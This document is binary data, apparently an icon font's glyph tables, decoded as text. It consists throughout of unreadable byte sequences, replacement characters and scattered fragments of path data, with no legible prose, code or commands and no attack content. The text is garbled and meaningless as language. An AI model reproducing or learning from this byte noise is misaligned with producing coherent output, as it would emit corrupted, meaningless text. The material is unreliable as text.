�  �  @  @  ����-2"&4'76/&#"'&#"2?32?654������LKLLLLLKL�������KKJJKLLK��%"/"&4?'&462762v
������
�=
��
��
��
���%%#"/#"/&4?'&?6327632|&��&��

%��%

�=%��%��

&��&
	�0�P%2#!"&5467>32>32n"00"��%5"!9"0C�1#"16%/	%E1{{%'76?#!"&546;#"3!25{

 7
B7�@� 
��


� �

	\
7 

)7�@  �


2

 
��

����2"&4264&"&2"&4264&"�P99P9O$$1������fHHfH!9P99PT$$򃺃���HfHHf � ,8DI+"&546;2;2=4+";2=4+"54+";2754+";2'3'
	�		�T�GG{{��� ��/<G�

P
\

�

M

�

NNB �!+"&546;2'335#"&=#	�		�S]:��C��

O	\6?��RP05!5!5!��  `  `   @`
%!"54?622#!"=43/���		�����		� ((@�@=&'&6;2"'&76+"&=46?27676/>
	��	
����	,ASbbR@,+ZV��	,
]SS]
,@�@'2#".'>264&"7327"&46;�nr:$;$<<""AeJ55J5Z

,@�0,#A?�6J66JE,
 `
$2!546372#4>3#!"/&6?!5=��	�����A?	
!
	J��
  ��$%2#!"&=47&/&7%6'7#'#7�		��	
	r	���3>?32�	�		�
-J.D�:$::$:$����@F.546322#"'&"'&'2327'7654&'&'&"'&'&#"7#73s4?�]#!5?�]#! 1)		6-4$7 2)		7-5$%&U�&Ui>]�	i>]�(-60P 5(6-61Q 4)�q�q��@�537�3��3���� �`!2#!"&/&3%!47>;2;2n
��
X��K�
�

�1!3	
0�P7">35�Xc%!-U4���&@G7-P����+3$&&"&'6&&'654'6776'67277264&"[%"	L	0&
%%	"	L	"�P::P:�D%%%
&0	&"&
%%
&�:P::P��'/%#'#5&''7&'#5367'7675373264&"�, 6!L!6 ,+6L6+�,  , � 6 .. 6 L6
))
6\ ,  ,	 @`#/;GS_k+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2@22�22�22�22�22�22�22�22�22'22222�22222�22222���N%#"&=4632676'.'&/&'&'&#"632#"&'.767676762 "	
!"
	" 4
&X&	4�'c0 #j"!



  #j# 0c'Y8
8��'&4762762~""��""WV`#e#��#e#   ����72"&46&#"3267654'&#"34762;25476?6�������

1&1	"	'	�������
�!
1
		���(1+"567>?67654'&#"#47632.>�'	>
M,.=B(s5	.
	 O��**��
%##5##5#7�0```0���������.$"&46272#!"&54634#!"76322?632d(($�x!c
��~	6
�((���H�j���;��)IS'%.?&/&67%6>3'#5&#"7754#/"?63232?632'"&4632�


��

	
	(	
��
���
U
:�
f	+4	��

.�
6
	
	�f�
		?�m1!A����%&'&676&"2645#5#3#��]]��]]��B�]��]]��0��������	;#535#53&"&462` �  `((�0((����15"&46326326764'&'#"&547&'&"27&42x(z�zzVE6

?4

$N$#44#$N$��;6EVzz�z(
��4#$N$

4#$N$#4Q�� �43!2#!"56254&#";254+"			��	�	b��w		��		#����#2+"&5463;24+*224"7#�

�

8  `��
��

P
 �� ���+62"&42+"&5463264&"75&'#;2bt�6<**<*�
��
�
��H��*<**<�v
r `!43!25!5!"&�@
�
 ��@7d�dV��
���5�(%''&'&'&7665./�
*6Y$J
%ge),,
-U9,
35OE
 C�V'!n1
+*%5.0`�  A?2+"'&=3;26=4&+./#54&+";#"&=46;2�p!//!p30p
0p0!//!p)�0/! !/0   0   /! !/��2.54264&"FbG<)`."".!�F23�)(?=P 2l!."".����*"&=46;54631232#;54'5&#1"	

	V>>V	

	���(( 
	�	
E\\E
	�	
2��N�07>54'&'7/7'>767574&'&5�%1
/!=1L,~?1L,;%1
/!�:9'+,85T9C'c6T9C'3::&
,.6����+"&4622&=#&'5+&5#&=46;d  %U  r
		
i��

��i
		
r
�~!3HT_emw�#"//'&54?676575&'75''&#75'7>753"+5'627''6767267''5677./77'7'77'�aaaaiab�GgII
iII�G��
�
_�




7	��
BBBB		GBB���2�21�	
m1e
�1mw1pr�1X��.		



�� �'3546226=462#"&=&/#.57462"&5>V>=/		/=C-@..@-�)>>)1K
::
K1� ,-�,,���� BJ2"#+"'&'"4#&'&'&762#"&/4.'54;32332726;754"264*k
			� 

��
_|Q!!���+2#3#3#3+#5#"&=35#535#535#5463� ;;;;;; V ������ �%+%+%*MM*%+%+%����2"&45!������`�������m  ���%2#!"&463a

��

����=!��@@��#2#!"5435!#"74>57;��V����\#	--	���
���
-)
	���6"&462"&462"&462G**q**q**�((((((����'2+"&46;5+"&46;>?6j	

%<�
%=��	��'*�&�*
! �`#%2#!"&463%2#!"&4632#!"&463a

��

B

��

B

��

���O@/=!%5!5!@��@��@�  `  �  �x42#"&=476#"&=46323276=4'&26=4�! 0"."%�'/)�&$���
�	

	�! ��7+"54;272+"543`HH�Hh��h��<%#5#53533#+476767>5454&'.'&65&'&62�*33*33
��M,\,/Mx3*33*�	
	55	
��4d%#4'.'.'><54&'.'&654&5&62+4767>54&'.'&65&'&62�3b
<
$��A(
%N&
A{ZG

		
$%	
�A

/0	
#��0!+476767>5454&'.'&65&'&62���M,\,/M	
	55	
����,7''74?46'&54&#4?65462/&�3DD4>�	��	�>�J!  !J
1�?299q�1
@�%#"&546325���		�X����2"&45#5##335������`p pp ������m pp pp��%2+"&=#"&46;5462a

��

���

��

���%##5#5353��@��@�@��@������7#537#53733733#3##7##37]]e
ck@j?]fck?k?jj`6T6����6T6���
TT����#'+/32++5#"&=46;5!5#5#5#535353�!"(�("!(�������@�pp#{@@����P00@�00����"&462&�zz�zz�zz���A%'3.#"32?#"&'4'=41'54&5&=4746=7=65>312;3`hJK25KK5*!+6?CiiCY,A`p0@KjK.)TAATP#*0�P2.#'77+@$B9�����RR+==A%\����9OD:0�P%.#'72�%cX��4U.0@&\��P+==}�%#"/#"&462&"264}+T&*A^^�]aP99P8=,V]�]]B*$�9P99P �` %57#!"&=4;#7"4>35 &��x
:�=A"A+��F;m���(88,#<``��(7"+532>7>;55&'#53255#"'67>73R!-3//$
,2QQ�#'//>3
�QQ@5$*
 +?
%)6QT0%#?0
r/TQ65$' �`%3276327632#"/#"/+"54�
vv
�`qz
?N��N@
zq( �`#2+"=#"=#"54325432543t�ww�`��qz@NN?zq
`�<DPXdq���%#;2=;3;12=;57++"'&=#"&=#"= "2=&2"&=4"2=&2"&=47"3&/&#1'36;273#>7'7"&46322"5432�1

	1���
#	�	#
G�	b
�<Y4444YLLZ3
33

3ZL``
`

`
``
`

`
`)(		
&J
		

	`�(4IS\753++"'&=#"&=#"562"&=4$2"&=47#67'4?63272254&#"3264&#"@�
	1�����4{
	g		
�LLZ4
44

4�
`

`

`

`
e
'@		H
		

	
@�'FPY"#"'&#";276232767&'&'&767&'2+"&#"+"'.7632326'6767+&76�
0		)
$##" 
0-
,
!
230-

0'@<852p0F

' @�'2+"&#"+"'.76323267+&76�)
$##" 
0-
,
!&'@<852p0Z ��1=Ua&4?62"'72?'&""/&47676276767'"/2"/&47676276767'"/2�������
���{y��{

{�
���{y��{{�
	RR	R�KKKK�
QQ

<;dK	;;	K	RR	;:cK	<<	K��'?&4?62"'"/&4767627676"/&4767627676������{y#��{y	RR	R
QQ

<;u	RR	;: �`1;B'%#'32654/3'355'5+/+=+'+327654'2+5A�)���?#*%)?$�w%	!)��'(.5g��wɜ-%kbbT�\/S2*
|�9-,Y �`'3#'32654/3'35+532@f���?#*%(@$�((/5fvʝ-%kccS,Y��,8@2"&4%6&'"67&327&6767&'"&27&'&'767&p�pp�p:<86� 6-�@A8z(&T	<N�
K ,�B;(	�p�pp�%
5`9!%!F4d=-G#�
*% "@"+I#��%.9E2"&4264&"7&'67"'&'63264&'&'6'&=67#"'676p�pp�p~�^^�^�(,!
+]5<�($^@(L:		.#!9�p�pp��^�^^�K
 #X
"
(8o3  	3$*"-
�s!%)'7''5'7'75/737'7'77'qOrN4V5�NNrrNNrObbOq4U565U4ONrO4V4UsBG?*5.u?3'ED'4?GB;;B5,7,,8+P?GBB4*8
�s'7?7'77'5qOrNNrOOrNqqNrOOP"rr"sBG?}>FBBF>J�?GB�BDD��13##5#53546;#"7+=476;5#"+;3=3�@8S--*18"*-	(,3@��@+*+@V %
 #+ ����3##5#53546;#"�@8S--*18"@��@+*+@����?FQ�2#"54654'>54'6'#"&"&+#"'&'"327+.54"'=7&'3276467654'&'&'&"&'&'#5&76;1&547&?2632631263236���VC.9
"6"
8.

DU�!
�(((R(( 
(		
%""\��_Kx+/<$  $</'wL_��		I:9E.&$ !#&.E9
!A& &i
3����?2#"54654'>54'6'#"&"&+#"'&'"327+.54���VC.9
"6"
8.

DU��_Kx+/<$  $</'wL_��'7FR#"&54767&547"#"&5476;"&#"32654&'654&#"327%##5#5353�$+I>59(E'. ":j!D,2)$'
#
"NPPn&'!	
	&9*&
0'�$#w
 <
;DQQNN��)9IU7#"&54767&547#"'&5476;#'327654'&#"4&'"&#"32673##5#5353�JA8<*6*#%9�<

k

	y&,$#�NN"PP"�(;.(!*!
z

��"QQ"N��!!!3#5'3`��@ ���-@(B/(`��`���_xHHxT��!!?#'#3����@-&(/B(����xTTxH��"2>7#53'1"&54622#54#"#53672#!"&5463254#!"3w77
�#777~

��
=��@�

&%d^%
a��
��

A
��<����02#!"&54635#62654&"54&#"5#3547632a

��
V7#77�
��

A
�����

�d%&�a
%^��8LZu~�%42"'42"%#"&547&54626737632#"&5'632'"32767654&67&#"6=&'&'.'&#"327654&#"#"'732@@�@@BtRSt(
7JVEL5
J��	
Q2	5MN5	25NMs
	u
/0
)(�   E	:PP9

&b&M&
���"1	%%	1"%�	n��+4<FR\e%"&547&5463267376;2+"&/63267&#"$264&"2654&"27'#"&/62654&"7654&#"�u�t7JZCL1�a
O	

�a0
( 
e��	9QP9

&g&J#
)
�


�
}P


��#+462"&4264&"'2#4&#&'.'&'2#4&#3.'!.!!.!(  i�P`P�D*%(Jb���P���W0ˏ}p!.!!.?  ؗiP`�)$*D/bJpៀ�LW}��0��62"&452#4&#52#4&#!.!!.!i�P`P��P��p!.!!.��iP`�ៀ���$@�"32?32654/7654'&#"'&'2632#"'#"&547&546#"'&'&547632327654'&'&'&'&'&54767632#"'&'&'&#"3j+
X?	+,+@

Lk>,Lk>�#'



"		


`+=X	+
=,+ iK,=jK,=��
		
	
	

			

��m%#"'#"&547&54632632654&'&'&'&/&'&5463232654'&'&'&#"#"'&'&'.#"3276u>,Lk>,
LkY		
!

	
'#�,=jK,=iK?		
			
			
���#G727#"'&'&'&=#567676733#5#"'&'&=35#5#33276�!"0>``B`` 

04A	�:+p@e&	
#

	(u p�	
���#727#"'&'&'&=#567676733#�!"0>``4A	�:+p@e&	
��*l#"'327.'327.=3&547&5462676>7*#'6?#'&#"'&'&'#"'#332767676='��}PDC52	
!-+
Mz8R 
!!	
#"/=9&%$!
8"==
'-#!**=3.#Ri�,*%5#5_)8#
0!%+
"'!3..��*#"'327.'327.=3&547&5462676��}PDC52	
!-+
Mz8R 
!Ri�,*%5#5_)8#��=�#"'&'&'&'&'&#"'767323276767654&'#"676326'&'&#";#"'&'&'.'&'&+>763232767676�
 2#" 

	R (&
"		
"#	


"
		

%!2N.3*-E !'7O	G&a
&+	
6|.)	*+

H%
X-$!E)�4'&'&'&'&'&'767676767654&'&67>�
 2#" ,

	
R 	 (9"N.3*-E !&'7O	G&i&+	
6����%#7'5#7'5%37#537#5���� ������� ����� ��$�x������ٶ{�������%'5#'5%#5#5��������$����ٶ����
IU2#"&4'674/3277654'&546;&#"2372##7/"&63372#67654'p�p	\@	Pp6,S�5!>
2B]3.

?&.
5I
'�pP
@\p�P2T� ��`7��: -M�qJ�*S,'!q��b7"#"'"&#7'23"&'.'&54%"?6=.#"'726&##'"33'726&#+67632�5		�]0?n9+'

>-		&?"9]#"2#��I��U5
%,'*
0OAq! :�Jq�	H
.@�#27&"5'2777#"'/+;=!
�
,
�
,
``
Xo	ZY	o|ի����ȸ�����@�27&"5'277!
�
,
�
,
``
|ի�����4TW+"+"1;;1327;276=6514'=4&+&'22#+"'"&5&5474636;5			Ddh><jI_s7++I__I+*SW	1�`3653

3563 /"6656"//"65#H"0���c�#"'"&5&5474636;227'�+M�M+*Ia		aI+�ґ�+6j6"//"65#H"//�bc����	%'7'37��7��7��45�h�pp�h����2#!"543u�����j��*.7&547&547&546762353#5&'.>5#"&54$"25I
7pp(
$g`  �		

 �*B
� �|*.%'"&##5367654763224"h5I
7pp(
$g��  �		

 �*B
� `�!)-153#+"./&/#53546;2#354+"3'#5#37#[	

�

	[e��[
^T
@ 	�
		

� �������>�0#!"&?6?67>;22+"&/&63>��5g5!�;	

4
�
�	����'"&=46;546312#&'5&#1"!2#	

	V>>+
5((		

	 
	�	
E\.42
	�	
0�P%2+53'3#"&5467>32>32n"00"n0PP0f%5"!9"0C�1"#1PTTP6%/	%E1�p27'#!"=4;54&+53232264&"#64&";Oqq	��		���&4	mD_B#YX#A		7�	&0& ���
7'#537'64'7'64'77'64�_hh_8!"++0??:(X�X�&\&.l\9�9B�W�WO�( X
7'#537'64'7�_hh_8!(X�X�(X(.l(rX
7'#537'64'7'64'7�_hh_8!"++0(X�X�(X(.l\9�9B�����3?'#57#"/.54632654&'&'&#"#'327'5�//A�5?�]934?�]92!3) 6-IL$ 1)7-�3�3N�i>]�i>]���.51Q J#-60P M��@�$#"&'&'&=67676?622654'�(5 ^B*G?');
J1�2N^-@Y% 
Tc.�~;)1G

 �`".2'&"/7'&"/767312/7632d�Z

 
	E�E	
 

c
!	
(d(
	!
9K	QQ
4#
5`T
	 
	@@	
 	
L

 	##	 

3�
4



4����%->73&/##&=#&=#7#&76"&4620	.+
*-�+h

`�				�`

�   @`
?'3'77#7'#5?'53�@2�2@@2�2d@2�2@@2�2�@2�2@@@2�2@@2�2@@@2�2@�@	=77'=�k��k^>@�=�p��kb>@�@	%7''77 >^k��k�=@>bkˀp�=�@�@	7''5�>^k��k�=@>bkˀp�=�@�@	3''77 �=�k��k^@�=�p��kb����%5#3'35#'735#7#35�`mL``Ll``lL``Ll�`Ll``lL``Ll``lL @`3'#5?��2	�2�2�@`�2	�2�2�@ �`32#!"=4;5#'�������`@�0�@` �`5#32#!"=4;5�������`@�0�@��
#57'537'3'77#7�R2�2RR2�2��R2�2RR2�2dR2�2R��R2�2RR2�2RdR2�2��
54;55#"5%+'732���������x@``@�@``@����,<3+"5754"2&24"72+"&54&'46343!";265P���e
&�&	#���
�H00P���&&3
0&������+6D`����2+#!"="&=&54626326326322=4"764'&#"3275##"'#"'"&#34237654&#"#&'&#"#"'.5&'&#""'&#"3=2767676327676323276546;254&+326$42242�&& �&4&8
#(		P�


		0D  ��� &`&P�6&&�00LH 	!
 	W
	"# 
		

�`����2#5433'���`�88��0��`��!/753#!"=372#5##54;5>;2'54&+"35���P��� �xZ Z�����``��@�#'+/37;?CG2#!"5433535355#75#75#75#5#75#75#75#5#75#75#75#0��      @``     `       `      ���`��  @  @  `  @  @  @  �  @  @  @  �``�  @  PPP����GV2"&467'767#53&''7.''7&'#5''3#775367'77##"&54753������X 
  
 ())( 
  
 ())()u
 ������� ())( 
  
 ())( 
  � 
DD	8�H&7H%++'+/&1"5'&7625462762"/&4?62"&4?'&462+??#		#�pp__�__pp�??"v

v"xpp____pp8�H-642242242"/&4?62"&4?'&462�000�pp__�__pp�000000ppp____pp8�H!6"/&4?62"&4?'&462�pp__�__pp8pp____pp��=I%#"'&'+"'&'&546;.54673654.5467322654&'?%&

f)
e#'8	9L�-
$2C, 
$ 5� "	����".2"&547&54632667&#"64&"67>7�]����& 3�

pp�pp�6<6<�����]93 &@

��p�pp�p@�
4�	4 ``=335335333@ @ @ @ @@����@������
2"&464&#������0ppP��������p�p�������&'&5'#5674'&$2"&4767>7>7>&546'4'.#&'&7>7>7>763226'&#.'&'&73>'&5&'.'&54323&'#&'&6'+"&"&76'"..76"'&?6&54'&'&'&76&'4&76'&'&6'3E	;�𺃃���-&
				
	 	

	

	'
!	 	'B
9��������
	!

		
		



5	5|/��@�	2"&54ndnW�W��Z[dd[Z���73##5#535.5462&264&"�@@@@@*6KjK6kB//B/�D@@@@DE,5KK5,E!/B//B����!67'&"1'54676'2+"543j
	c7I,c1+�
1=#�\Q��P�����.#1"'&574'&54>7332757332=3N2%	
%		
	+)�
	
�)&-	u
uu
uk��@�;2+"=&+"56=4?4&'&'>7632327543:4
T	
(#	&!42		�T

8F*ej_F  3	����!*32"&4.'264&"&6767'7&'&'67'�������4'�P88P84=	j4'�4=	������&4=	�8P88P�4'=�&4=	m4'=��@�-7!+"&54?675&54632>?632 ��
�, 	/(8��3	 ,&8(��F�7'''7'?67>?�5JI5hr	
rP
:	77	:
#5g�(�g5����?G7"&5476746=4&=4?5?5657454/&=4?6=4'5/&=47632264&"�08P80		7�6(88(8Q>���@�2#1"&54674&5476>

 6��db$�A^�/?"5&47542"=&47542"=&47542"=&4742.  `  `  p  ]*��
 
�
"
UT(�S
$
��
$
S��$

$
�����b2+"'5.'54&'&54#"#"'&'#.+&5475654'5&5475654'5&=<6;KjK-Z-�

	

r�I3	
[77[
	3��
��#4242642&"&46424242&42����`��* W0�@�P ���``�;**�  y007@@(PP����#/;GS_"&=4622"&=472+"&463#2+"&463%"&4?62"&4?6"/&462'"/&462.�`�`		D		�	D		C	�		D		�		C		 `�``r
		C		�
C		D	M		D		�		D		����s%'&'&4'&'&'&'&+"#"76767676767676767465'&'&'&'&'&'&767676767632�$  #$(%$		%"'%& ! &$
#! 
�			"	!%
& 




	



""
,��)3=GQ[eo%2+"43"+"4;2"=2"=&?6'&?6/&76'/&76&?6'&?6/&76'&76'pP�PPP    UEE�EE�((�((y((_((�E�E�    `PP PP�((B((1EE�EEiEE�EE
(l(���� 2#"&'3264&"#>7#53'7�]��]Gr"8�pp�8"r4��4[[����P@8p�p8@P��4 4[[���� %7#53'773#"&4632#'&#"32O4��4[[)a8]��]8a)8OPppPO|4 4[[-,4���4,8p�p����3:A2+/&54756764&"#"'5&'&54&'767'i�i2	
CbC
	2m
*+�
+�m[@@9
A$7jEEj7$A/B<D[��7+17=+/3����'"&46327'364&"�?E$g�ggI91E?��LLhLL?E19Igg�g$E?�pLhLLhL��%12#!"54;5>;2'3=4&+"5#5##335��Px--��--�@@@@@0�� �@@@@@@����!�����@����"642"427'65'"'632&.5�```� O!@P6;<5QQ!O4>�````0(&'�&@	��	@&�d>����74&546323#&'35#"zV�-)�@2NzVc�Vz ��2@�)?cVz����-7+#'#"&547276?54/#&546;2#�$	QQ	$

\

�%
��	%
vv
����2"&467'57.'#'73������7b??bGGb??bG��������bGGb??bGGb??��`�
":'&7632264&"264&"6264&"7#'&#""/&547632;��=NL�RR�
	DOLG	
MYX>��@
Z�`�			!����86"&=4627"&5467632264'&'&'&'&54632�[/6���6/	/^�^/	����b:]��]:b	/�^^�/	����"%/&'5'54?6;2$264&"�		�	�
1d��((�		��
b
1
�E((����;I%64'1/#&#'#"76;235/&'5'=4?6;2327654&#"��
Z
Z
�,l
�	,Z
�
��
�+m
�
X-	1
 �`8M642&&'&47674&'7'6%&'&'&4767674'&'7'67���%%�%%�� � 
 ���Z40

&t&

d40

&t&

J(%"
'%T%'


:P%"
'&)*%'"�n"'&#&'&'&'&4?'&?.#"'.767676765'&?6/"7676'4'&?6762?�'7	$k2,1\!a	
2
!&$0)6
%'`374b"
]
*
0#-	2	

!%	9'	0*��@�L�����#+=#+32#+;3=;3=36767676'&'&/767676'&'&'&/57#5##5#7327676=4'&'&+535335#5#57"#� 	H
		
C	 .+
	#( )WW)    H

�000	�
0001		
??	

A@@@0�
0@@@vJJzZZv
	
	6	
	��@�59=ER$#5##5#732>=4'&'&+5353353'3535#76764'&654'&'&'2762#( )W		W) (
	�    H	


�&!
@@@@0�0@@@@	cJJ�ZvB		�	
R����J2"&464&"46?&5463232654&#"'&54632#"&'3������0pp�p8(1,1=.VJ>PC6��������p�pp�8
z!	"
E2&/?,	C5WM4CV4
����B2#"'6?32654&#"74676'&54632#"&7>54&#".54����]"'6CP>JV.	=1,2(<J����	 >VC4MW5C
,?/&2E
"	!	hnD]����Ve"1/"#.'"547>;%#"/.'+"=>?4676.'&5467;67263632654'&#"2'2&."�	

J
	M	/!*VM


:' +3=&23%	
"#/	,"	
:3.�%43%%34%! �`>%"&46;&2#67#53&''7.''7&'#5''3##&548@a��$  ())(
  $�T�]2.,,)(
  
(),,.2]����4&#"312765'4?>5�$%

	

	

 2NN2&�
		
�% ``73#53353353`@�@�@ @ @��``��������7"&547462#354"5#75#!/B/!(>p)!//!*22� @@����7%#7.#"4&#"#"&542326=.#"4&#"5467542X�Wy0% 
yW ���Y -�&
� X���[_cg?"&=47654'&'&'&'&'&5462132=4'#5&54627>7675'&546224"624"24"�
:
*	
	&
'�  `  `  �\!("


	
�
	� 	
^ ` ` ���1AWbp7#'4767676=4.'&'&'&5476;2'2?676'#7"/&'&'&767354"32'654'&"2�	
-R`-�;'
�	v
B
��^	

^$3VW2$)B).>(c

*
(7����!'&"&47>'&76766'&�@
�
'�2&9
7��M$
�'
�<488
����	@x"'&'62&'&?67&'"#"&46;76367&'&'"'&76>2#"'&#2'&7&'5>7>?67&76#2W	%l%	/��A'=+

$


	J

$

+='A	
A%%?O",�3 +/ !

o/+ 3�,"

! ����
'?'7>}�[��	
-[-
	��Uu�[�	
-[-
	��U ��@�5=E##5#53533"&5475&546267>367>&"264264&"@0@00@@@6&4&  &4& 

 �.p@00@00�"+	&&$�$&&$����p%�����%+"'56274%36+"'&'=%#&"#&#""&#"'"&#&"'4'&54&547676767"&"#"'&547676>767676327&6#"&"#%76276&'&'&"7&'&:>232>>'.'&"275&6262376�+
 
�	
 
+�
 
P6Q
 

	
,001/,
	
�V

0�0

(3N3((�
	#B#	
��(9

f0

07			

	a8	�		N

\
	����"3DGKt�%53!537#"'&"'&'#.54632227'27654&'&'&"'&'&#"'353'#54'&+"'&7'&'&5463"2;2#4'&+"&7>'&#5232H��Z0r5?�]#!4?�]#!\7-� 1)		� 2)		6-�** (		
 6&	�0000�i>]�	i>]��� �-70PG-61Q �*000[
)"����5%''7�ppP�P��S����@pp�aC����������!6'.7675'#"&/3326?''>./"'67676=&'.'&476?.7>7>7654&/66'&667>54&�			

��

 .'
			-1(.$��!6	M;
(



%

,	 	
	
	

"
	*A	�;-&#��~�_�.7?f674'&#&'&'"&'.>'4&4&>32>76&6&7>767>76'4&546;26&/.'&"37&76476'&'7./&54'&'&'&'&76'".5&7627654&"&#"6'.7&'&767676'>372/&'&76'7676767>7626'&+72'&#>'.546'&##"'&7>��

#,
!
	

#%�


	
'	�	
		$	
	

	

	
f7�		

"[��
		

 
%!	"(
0
&H		
V		"*	

	





)




��		
	#	 @`%##5#53533@�*��*����*������#!"&54?63!27#5##'!'!�
��
!

�Q\Q =��\
��!
'

��..�Vk%!'7V��w��x�*x��x��%#57332#!"&546;5335!0`@0��0�H�а``� ��  ������%2#"&546;276k		��	K	
	/0]/'u	K	ԗ		)$	/]0/	��64272#!"&546;73264&"�~y��X � �\BB\Bi~~���  ��B\BB\��2+5#"&=432+'#732=X�Z9
�9Z�'���	YY�?	�	YY'�+*U''7'77*wwwwwwww7wwwwwwww��	%!>722"&4267#->
��
>-"R`nMMnMe>2�n:&&:&MnMMn�#��	"57!>72&2"&4267#&'67327'&'632#"'673267�!-	��	-!>JV??V?Q2(	�	�"
C�
2 9+??+(	h
;##;
�>X>>X}j(
L�;1>X>	 �`%#!"&5467>32#7#5#�'6;)��2F>-G+6R�DddD@�9();F2.D%,EgddL �`32#!"&=463�+���`0������7%#"&'5'45'&>65'&>235462?>?6�`-7)@:
"
*�g"0%�X������*��%#!"&5463!2!'���*��J*`J+*�`�`����'2"&43##5.'#53>753264&"�B//B/!!`C*C`!!`C*C`�|WW|W/B//B*C`!!`C*C`!!`�W|WW|�p2#!"&54635'���e���p��
[+uu+u��@�6"&=46273#5.5326�8))8)4'P9.9P'HbH�(�((�#:WRRW:2BB����
!6'3462&"347'��zh=V=H@.����(_�`�+==+N.  ��UT�@�=!@�**��%'5'#"&4632"264&"n!m(5;SS:;S"�R::R9�n!n"SvTT;5(9R::R��15-5*����++������;C%/+"/&'/&?4&465'&?66?6;276264&"n/+6	U	6+-.+6	U	5+-�>,,>+�"G77	G	""G77	G	":*>**> �`%5"675��Oi()�ȓX49�U��	77'?�}!n�99�n!KK�`��`�����7537"&4632764&"53�0�(p�ppPA5!xXX|XX�����5APpp�p(!��X|XX|Xf00��562"&4'654&".5462&2'>54&".54�""�#)1D1)#IhIӬz9/&-a�a-&/9�""!9$0"00"0$9!3II�yU8^$L-DaaD-K$^8U��)<#"''7&'>3277&546;7&#"2654'327#"'X/96':2*MGI@f:..M��3%5Z%52


"E/MGMFCN�	
26�6%3� Ac%#"'=4&+"'3276?#'.'&767676?%567676'&'&#"567632�
		P/?
	��
	
)+-
o>��\)
	

a--"	�
	�

��f
�*
%/;0 1	K5
+5FY#"&54632&2##"&/#"&46326323747"264&"327'.7>&"#'&'3264&�,:()C��
+F&�f	
�

	
� ))0N*O>(	 
p
 ����&57&5474'./6?%&62&&"'767>?_2-M.&9-2'
*3M��)8�8+
�+B�B,49�IF=JfC"

!CJ=FI.

2CI	''�48JJ66/%Vk=!'7'7w��x�*x��x����%)/2"&464&"#6#7''6323&54'3'7#"������0pp�pp8�fH!81N<�fH!�8��1N<��������p�pp�pVV>��*7�Z~��*7�V>Z~����%'''75'77��h8VV8h��m<VV<m�@
� �� �
@� �� ����� ,-8EZgt7"&54?632"'&/&62'7/1&761&54?66&767.7>'2#"'6?6767'&7>'6�%W1	@>
9�:<+1"�2,
	(+G< "
�
 
aY\
#B/7
B"4"##2$68�@?	+
	 `Zfjn~��!!7&47##27654'&'&'&'"'&"#5334'.'&#5#"23&'&'&5#33527>5"&5#346$42 42'"#52'>3.545!��!!a&�

�&a!!q�t@@�$�`� &t&&P;
			#
		P&&t&@@@@+�  �Fp!!%4'&'&+"2767653#"'&'&'&5476767632#54&#"325'53#"'&'&'&5476767632#54&#"325��5$ff$58(�(8\5+

%4�5+
&4����,$66$,B66B(

*
(

*
����-B2#"&=4?6'"/&546?63#"/5&=4632��
�
���.
���
	\�Y1a`R��\	
�Y��@�,%1#"'&'&'&=>76'676/267)1U
E!1Gf�'+/)H
 *S0$H<gG���7&67#".654&/`G !_ "+"R

)

(�M�5(>*)?(MSD(

$,(

$����"2"&=4'&54264&"���	 #&4&���jj�j�/!
(,!%SW"�
!Q&&����2E2"&4327623276'&#"6'&#"#"&'&#"32676'&#"3276232������G		

0	
<%&<
L/.J!


		������Z

	
D	"('\	



��*?7'&47>76767'4&5&737.'&'.'&6765762��""S)	

[	h.}""D+W�S
�#e#
)8l+c	�#e#F< ����$,4<%2#"'#"'"&5475&5462;6&"264264&"$264&"@&&$
]B &4&  &4&0@
�.�&4& Js$&&$�$&& 5 ���n���"F#36;#"&=32276776#"+"=4"+&'"4#&'5467�w5#5K<|<=

@4H!1 
3!J5���:!
A/����@.
VU.A����$,4<"&5475'5&546275&5462$"264264&"264&"� � &4& � &4& `` &4&��R�`$]@5$&&$5@]$&&$5005$&&��.����!0B2+"&=46354&+";26554&";25754&+";265R.@@.�.@@.!z"g�B/�/BB/�/B�f
e��f
e �`A7#"&76767632&'&'&#"'.76&+;.'&'6`>HF8+9@\+9@\??UY&S�i�%#&%=_B>6$�&#W�#W?
$-7@.g
+*� 15333353� � ��� ������#:B2"&5475&54264&"264&""&54754'&#'76264&"&4&  &4&  2?!&4&
'``@ -�&$�$&&$�$���&&&%�@``@4���
 +#546;#"%2#54+553+532!3#"&=300$CD4#0
CP0#DD��DC$0DDD#00#DD0��CC$11$CC��
"3#4637"3#463�>B�`"�>B�`"�B>�"@B>�"��`�	 (&/'73+'32"&4264&"62"&4P@%>mS>%@�C55P5jKKjKXP88P8;J33J3�`�/��/�`pp�KjKKj�8P88P�3J33J���� '2"&462"&4264&"327'#%#'76�J33J3#jKKjKXP88P8
+B"00`-S`0(- x3J33J[KjKKj�8P88P62JjP��PXb
����3F2"&46767676'&766'."3276323276'.76������q	
	
2	�
	/:/	
0"0	2
	
	�������
	R	

	Q	
���� (,7U]#"&46327>?264&"624"&'&712#"&'&'&'?37757376264&"U: !!	&����  !X��!!
	LV#$ 

$&4&
%
;��y� 	x;�m&4&)		%
`��>�-1N2+"'&54636&+"27676;26?>72+";2+"=43.
1Hs��N>
:U
	K@>
6F)93�#�
|@	��&Ym3,	

$	?���>�=2+"'&5463>76&+"7676;274676&+"&=4;271Hs�3�	F	@	R
`
�9mR	
�
|��Rm
	��T
-


�'6E#"&54767&547"#"&5476;&#"32654&'654&#"327�%+I>59(E'.!"9j!D,2)$'
#
"n%'!	
&9*&

0'�$#w
 <
: �)8H7#"&54767&547#"'&5476;#'327654&#"4&'"&#"326�KA8;*8*#%:�<

k
	y%,$#�(;.(
!*!
z
6
���#8#!"&5463!2"264754+";22=##"&547#3��� �B//B/P004 !/.B5
P��!T/B//B?00��
/ !B.�	��)>642'#54763!2#&'&#"54&+";276653#!"'&=332p��U T!/.�&&P P
��Q !./p���p
p!''� /��/ !��@�(7}�7'&'&54767655654'&'&'676767#5"'&'.'35'.'&'&54767676753#&'&'654&'&'&'&'#/53&'&'&'&/5#13&'&'&'&'#35767676}
	
	
�


	
	I
@E 	@E


	

&
 	


	$
 Y�f\

	^
	�I	
	k	D
##2
	x
!! j

W
	
	�

	�	

!!��@�EP_%#5"'&'.'35'.'&'&54767676753#&'&''5654'&'&'67676;
@E 	@E

�	
�
	
	�
##2
	x
!! j

O\

	�	
	k	@�@$2"&472+"&463264&",((05KK5�5KK5�B//B/�((lKjKKjK�/B//B@�@'#";264&'2+"&463"264&2"&4@�(88(�(88(5KK5�5KK5((QB//B/ 8P88P8 KjKKjKP((</B//B����*3=;!53275&'&'&'&'=35;3&'&'#67#6�)#*)
�
